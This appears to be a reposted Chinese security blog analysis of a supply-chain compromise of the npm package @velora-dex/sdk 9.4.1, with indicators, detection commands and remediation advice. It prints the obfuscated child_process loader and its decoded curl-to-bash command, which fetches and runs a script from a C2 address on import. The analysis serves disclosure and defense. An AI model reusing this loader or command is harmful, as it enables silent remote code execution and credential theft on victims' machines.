文章总结: VeloraDEXSDK9.4.1版本遭供应链攻击,恶意代码在包加载时自动执行base64混淆命令,从C2服务器下载并运行shell脚本,导致系统被植入后门。攻击者可能通过构建流程入侵,仅该版本受影响。建议立即升级至9.4.2版本,检查系统并轮换凭证。 综合评分: 85 文章分类: 供应链安全,漏洞分析,恶意软件,安全运营,漏洞预警
用于与 Velora 去中心化交易所 (DEX) 交互的Velora(原名 ParaSwap)SDK版本 9.4.1 已被入侵并安装恶意软件
原创
cmalware cmalware
暗镜
2026年4月12日 06:01 北京
在小说阅读器读本章
去阅读
在 npm 包版本 9.4.1 中发现了有针对性的供应链攻击@velora-dex/sdk。恶意代码会从命令与控制 (C2) 服务器下载并执行远程 shell 脚本,从而使攻击者能够在安装了该软件包的任何系统上执行任意代码。
主要发现:
- 在分析的15个版本中,只有9.4.1版本存在安全漏洞。
- 开发版本(9.4.1-dev.1、9.4.1-dev.2)干净
- 攻击向量表明构建管道已被入侵,而非源代码库已被入侵。
- 恶意载荷在软件包导入时自动执行。
- C2基础设施:IP地址
89.36.224.5 - 修复版本 9.4.2 已移除恶意代码
技术分析
恶意代码位置
文件:( package/dist/index.js第 4-5 行) 版本:仅限 9.4.1
混淆有效载荷
const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});
反混淆有效载荷
该 base64 字符串解码后为:
nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1
攻击流程
- 自动执行:当包被导入/加载时,代码立即运行。
- Base64 混淆:有效载荷经过编码以规避基本的静态分析
- 跨平台兼容性:同时使用 GNU (
base64 --decode) 和 macOS (base64 -D) 解码标志 - 远程下载:用于
curl从 C2 服务器获取 shell 脚本 - 静默执行:所有输出重定向以
/dev/null避免被检测 - 持久化:
nohup用于确保即使父进程终止,子进程也能继续运行。
它有什么作用?
恶意代码执行以下操作:
- 使用 Node.js 生成子进程
child_process.exec() - 解码 base64 编码的命令
- 从
http://89.36.224.5/troubleshoot/mac/install.sh - 使用 bash 执行下载的脚本。
- 无需用户交互,即可在后台静默运行
影响:攻击者获得在受害者系统上执行任意代码的权限,并拥有 Node.js 进程的权限。这可能导致:
- 加密货币钱包被盗
- 私钥泄露
- 环境变量采集(API密钥、凭证)
- 后门安装
- 基础设施内的横向移动
指挥与控制基础设施
主C2服务器
-
IP地址:
89.36.224.5 -
协议: HTTP(未加密)
-
终点:
/troubleshoot/mac/install.sh -
完整网址:
http://89.36.224.5/troubleshoot/mac/install.sh
基础设施分析
该路径/troubleshoot/mac/install.sh经过精心设计,力求使其看起来合法,可能伪装成 macOS 故障排除工具。使用 IP 地址而非域名表明:
- 规避基于 DNS 的安全控制
- 避免留下域名注册痕迹
- 对域名关闭努力的抵制
历史版本分析
为了确定泄露范围,我们分析了 15 个版本的 @velora-dex/sdk:
| 版本范围 | 测试版本 | 地位 | | — | — | — | | 9.1.x – 9.3.x | 9.1.0、9.2.0、9.2.1、9.3.0-9.3.6 | 全部清洁 ✅ | | 9.4.0 | 9.4.0 | 干净 ✅ | | 9.4.1-dev | 9.4.1-dev.1、9.4.1-dev.2 | 两者都干净 ✅ | | 9.4.1 | 9.4.1 | 恶意❌ | | 9.4.2+ | 9.4.2 | 干净 ✅ |
关键观察结果
- 单版本攻击:仅 9.4.1 版本包含恶意载荷。
- 开发版本未受影响:9.4.1-dev.1 和 9.4.1-dev.2 均不受影响。
- 无历史遗留问题:所有 10 个早期版本(9.1.0 至 9.3.6)均无遗留问题。
- 快速修复:9.4.2 版本已移除恶意代码
这种模式强烈表明是构建流程遭到破坏,而不是源代码库遭到入侵。
攻击时间线(重构版)
基于软件包分析和版本历史记录:
Timeline:
---------
[9.1.0 - 9.4.0] Normal development, all versions clean
↓
[9.4.1-dev.1/2] Development builds created, both clean
↓
[BUILD COMPROMISE] Malicious code injected during 9.4.1 build/release
↓
[9.4.1 RELEASE] Compromised package published to npm registry
↓
[DETECTION] Attack discovered by security researchers
↓
[9.4.2 RELEASE] Remediation version published, malware removed
攻击向量假设
证据表明,攻击者很可能是:
- 未破坏源代码库(开发版本是干净的)
- 确实破坏了 9.4.1 版本的构建/发布流程。
- 对发布流程有具体了解
- 执行了精准的单版本攻击,以最大程度地降低被检测的风险。
可能的妥协途径:
- CI/CD凭证或令牌泄露
- 恶意 GitHub Action 或构建脚本
- 发布期间维护者帐户被盗用
- 供应链攻击构建依赖项
检测与入侵指标 (IOC)
网络指标
IP Address: 89.36.224.5
URL: http://89.36.224.5/troubleshoot/mac/install.sh
Protocol: HTTP/TCP Port 80
文件指示器
恶意文件模式:
# Search for malicious base64 payload
grep -r "bm9odXAgYmFzaCAtYyAiJChjdXJs" node_modules/
包裹标识符:
{
"name": "@velora-dex/sdk",
"version": "9.4.1"
}
检测命令
检查是否安装了恶意版本:
# Check installed version
npm list @velora-dex/sdk
# Search for malicious code in node_modules
find node_modules/@velora-dex -name "index.js" -exec grep -l "bm9odXAgYmFzaCAtYyAiJChjdXJs" {} \;
# Check package.json lock files
grep -A2 "@velora-dex/sdk" package-lock.json yarn.lock 2>/dev/null
检查与C2服务器的网络连接:
# Check active connections (Linux)
netstat -an | grep 89.36.224.5
# Check firewall/network logs
grep "89.36.224.5" /var/log/syslog /var/log/messages 2>/dev/null
# Check DNS queries (if using resolved)
journalctl -u systemd-resolved | grep "89.36.224"
需立即采取行动
如果您已安装版本 9.4.1
- 隔离系统——如果可能,断开网络连接。
- 移除包裹
npm uninstall @velora-dex/sdk
- 检查出站连接
netstat -an | grep 89.36.224.5
lsof -i | grep 89.36.224
- 审查运行进程
ps aux | grep -E "(curl|bash|nohup)"
- 轮换所有凭证– 假设所有环境变量、API 密钥和密钥均已泄露
- 检查加密货币钱包– 审查是否存在未经授权的交易
- 扫描持久化机制– 检查 crontab、启动脚本、SSH 密钥
- 安装全新版本
npm install @velora-dex/[email protected]
适用于 CI/CD 环境
如果在 CI/CD 流水线中使用了 9.4.1 版本:
- 轮换所有 CI/CD 密钥– API 令牌、部署密钥、服务帐户凭据
- 审核近期部署– 查看 9.4.1 版本存在期间进行的所有部署。
- 检查横向移动——检查日志中是否存在异常访问模式
- 更新锁定文件– 确保 package-lock.json/yarn.lock 指定 9.4.2 或更高版本
- 检查构建产物– 任何使用 9.4.1 版本构建的容器/产物都应视为已遭入侵。
补救措施
更新软件包版本
请更新至 9.4.2 或更高版本:
# Using npm
npm install @velora-dex/sdk@latest
# Using yarn
yarn upgrade @velora-dex/sdk@latest
# Verify version
npm list @velora-dex/sdk
密码安全版本
请更新您的package.json配置,明确排除恶意版本:
{
"dependencies": {
"@velora-dex/sdk": ">=9.4.2 <10.0.0"
}
}
或者使用 npm/yarn 来阻止它:
# Create .npmrc with blocked version
echo "@velora-dex/[email protected]=blocked" >> .npmrc
预防和安全建议
面向开发者
- 依赖项锁定– 在 package.json 中使用精确的版本号来指定关键依赖项
- 锁定文件完整性– 提交并审查 package-lock.json/yarn.lock 的更改
- 定期审核–
npm audit定期运行安全扫描工具 - 最小权限原则– 以所需的最小权限运行 Node.js 进程
- 网络监控– 监控开发环境的出站连接
- 校验和验证– 使用 npm/yarn 校验和验证包完整性
对于组织而言
- 私有注册表– 使用带有安全扫描功能的私有 npm 注册表(Artifactory、Verdaccio)
- 依赖防火墙– 部署 Snyk、Socket 或 GitHub Dependabot 等工具
- SBOM 生成– 维护所有应用程序的软件物料清单
- 事件响应计划– 制定供应链受损情景的应对程序
- 安全培训– 对开发人员进行供应链攻击途径方面的教育
- 网络分段– 将构建环境与生产基础设施隔离
致软件包维护者
- 双因素身份验证强制执行– 要求所有维护者启用双因素身份验证
- 构建可复现性– 确保构建过程可复现且可审计。
- 代码签名– 使用已验证的密钥对版本进行签名
- 访问日志记录– 监控并记录所有软件包发布活动
- 自动化扫描– 将安全扫描集成到 CI/CD 管道中
- 出处认证– 使用 npm Provenance 或 SLSA 框架等工具
社区回应与披露
负责任的信息披露时间表
- 检测日期:未公开(基于 9.4.2 版本)
- 供应商通知: Velora 维护人员已收到通知
- 修复版本发布:版本 9.4.2 已发布
- 公开披露:本分析
npm 注册表状态
截至本文撰写之时:
- npm 上的9.4.1 版本应该被弃用。
- 应警告用户不要安装此版本
- 维护者应联系 npm 安全团队请求移除版本。
技术制品
反混淆恶意代码
为了进行分析,我们创建了恶意载荷的完整反混淆和注释版本:
地点: extracted/9.4.1/package/dist/index.DEOBFUSCATED.js
该文件包含详细的内联注释,解释了攻击的每个步骤,请勿执行。
分析文件
所有提取的软件包版本和分析结果均可在以下位置获取:
VeloraDEX/
├── extracted/
│ ├── 9.1.0/ # Historical version (clean)
│ ├── 9.2.0/ # Historical version (clean)
│ ├── 9.3.*/ # Historical versions (clean)
│ ├── 9.4.0/ # Pre-attack version (clean)
│ ├── 9.4.1/ # MALICIOUS VERSION
│ │ └── package/dist/index.DEOBFUSCATED.js # Deobfuscated malware
│ └── 9.4.2/ # Remediation version (clean)
└── malware-analysis-report.md # This document
结论
此次事件是一起针对 Web3/DeFi 生态系统的精心策划的供应链攻击。攻击的精准性——仅影响单个发布版本而未影响开发版本——表明:
- 定向入侵:攻击者掌握了发布流程的特定信息。
- 构建流水线攻击:源代码库似乎未被攻破
- 高价值目标: DeFi SDK 因其对加密货币基础设施的访问权限而被选中
- 快速响应:维护人员迅速发布了修复版本
更广泛的影响
这次攻击凸显了npm生态系统中的关键漏洞:
- 构建管道安全性仍然是一个薄弱环节。
- Base64 混淆绕过了基本的静态分析
- 在软件包安装/导入时自动执行代码是危险的
- 与加密货币相关的包裹是高价值目标。
最终建议
- 立即行动:检查所有系统版本是否为 9.4.1 并进行修复。
- 短期目标:加强对 npm 包完整性的监控
- 长期目标:采用零信任原则进行依赖关系管理
IOC)
Package:
name: "@velora-dex/sdk"
malicious_version: "9.4.1"
safe_versions: ["9.4.2", "9.4.0", "<=9.3.6"]
Network:
c2_ip: "89.36.224.5"
c2_url: "http://89.36.224.5/troubleshoot/mac/install.sh"
protocol: "HTTP"
port: 80
File_Artifacts:
malicious_file: "node_modules/@velora-dex/sdk/dist/index.js"
payload_signature: "bm9odXAgYmFzaCAtYyAiJChjdXJs"
decoded_command: "nohup bash -c \"$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)\" > /dev/null 2>&1"
Behavior:
- Automatic execution on require/import
- Outbound HTTP connection to 89.36.224.5
- Shell script download and execution
- Background process persistence (nohup)
- Silent operation (output to /dev/null)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:暗镜 cmalware cmalware《用于与 Velora 去中心化交易所 (DEX) 交互的Velora(原名 ParaSwap)SDK版本 9.4.1 已被入侵并安装恶意软件》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论